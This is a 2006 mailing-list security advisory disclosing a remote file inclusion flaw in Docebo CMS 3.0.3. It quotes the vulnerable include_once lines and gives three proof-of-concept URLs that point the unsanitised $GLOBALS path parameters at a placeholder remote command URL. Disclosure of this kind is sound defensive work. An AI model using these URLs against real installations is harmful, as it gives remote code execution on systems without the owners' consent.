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Date: Fri Jun 9 09:12:11 2006 From: federico at autistici.org (Federico Fazzi) Subject: Docebo CMS 3.0.3, Remote command execution ----------------------------------------------------- Advisory id: FSA:007 Author: Federico Fazzi Date: 09/06/2006, 6:10 Sinthesis: Docebo CMS 3.0.3, Remote command execution Type: high Product: http://www.docebolms.org/ Patch: unavailable ----------------------------------------------------- 1) Description: Error occured in news_class.php, include_once($GLOBALS['where_framework']."/lib/lib.listview.php"); include_once($GLOBALS['where_framework']."/lib/lib.treedb.php"); include_once($GLOBALS['where_framework']."/lib/lib.treeview.php"); Error occured in content_class.php, include_once($GLOBALS['where_framework']."/lib/lib.listview.php"); include_once($GLOBALS['where_framework']."/lib/lib.treedb.php"); include_once($GLOBALS['where_framework']."/lib/lib.treeview.php"); Error occured in util.media.php, include_once($GLOBALS["where_cms"]."/admin/modules/media/media_class.php"); The users can include a remote file because the $GLOBALS['where_framework'], $GLOBALS['where_cms'] isn't sanitized 2) Proof of concept: http://example/doceboCms/[dc_path]admin/modules/news/news_class.php?GLOBALS[where_framework]=[cmd_url] http://example/doceboCms/[dc_path]admin/modules/content/content_class.php?GLOBALS[where_framework]=[cmd_url] http://example/doceboCms/[dc_path]admin/modules/block_media/util.media.php?GLOBALS[where_cms]=[cmd_url] 3) Solution: include file where are declare $GLOBALS[*]
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